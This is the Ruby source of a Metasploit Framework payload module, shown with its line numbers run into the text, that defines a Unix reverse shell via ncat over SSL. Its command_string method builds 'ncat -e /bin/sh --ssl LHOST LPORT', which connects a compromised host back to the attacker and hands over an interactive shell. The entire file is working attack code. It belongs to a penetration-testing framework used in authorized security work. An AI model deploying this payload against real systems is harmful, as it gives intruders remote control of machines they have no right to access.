Path: blob/master/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 4278include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Reverse TCP (via ncat)',16'Description' => 'Creates an interactive shell via ncat, utilizing ssl mode',17'Author' => 'C_Sto',18'License' => MSF_LICENSE,19'Platform' => 'unix',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::ReverseTcpSsl,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'ncat',25'Payload' => {26'Offsets' => {},27'Payload' => ''28}29)30)31register_advanced_options(32[33OptString.new('NcatPath', [true, 'The path to the NCat executable', 'ncat']),34OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])35]36)37end3839#40# Constructs the payload41#42def generate(_opts = {})43super + command_string44end4546#47# Returns the command string to use for execution48#49def command_string50"#{datastore['NcatPath']} -e #{datastore['ShellPath']} --ssl #{datastore['LHOST']} #{datastore['LPORT']}"51end52end535455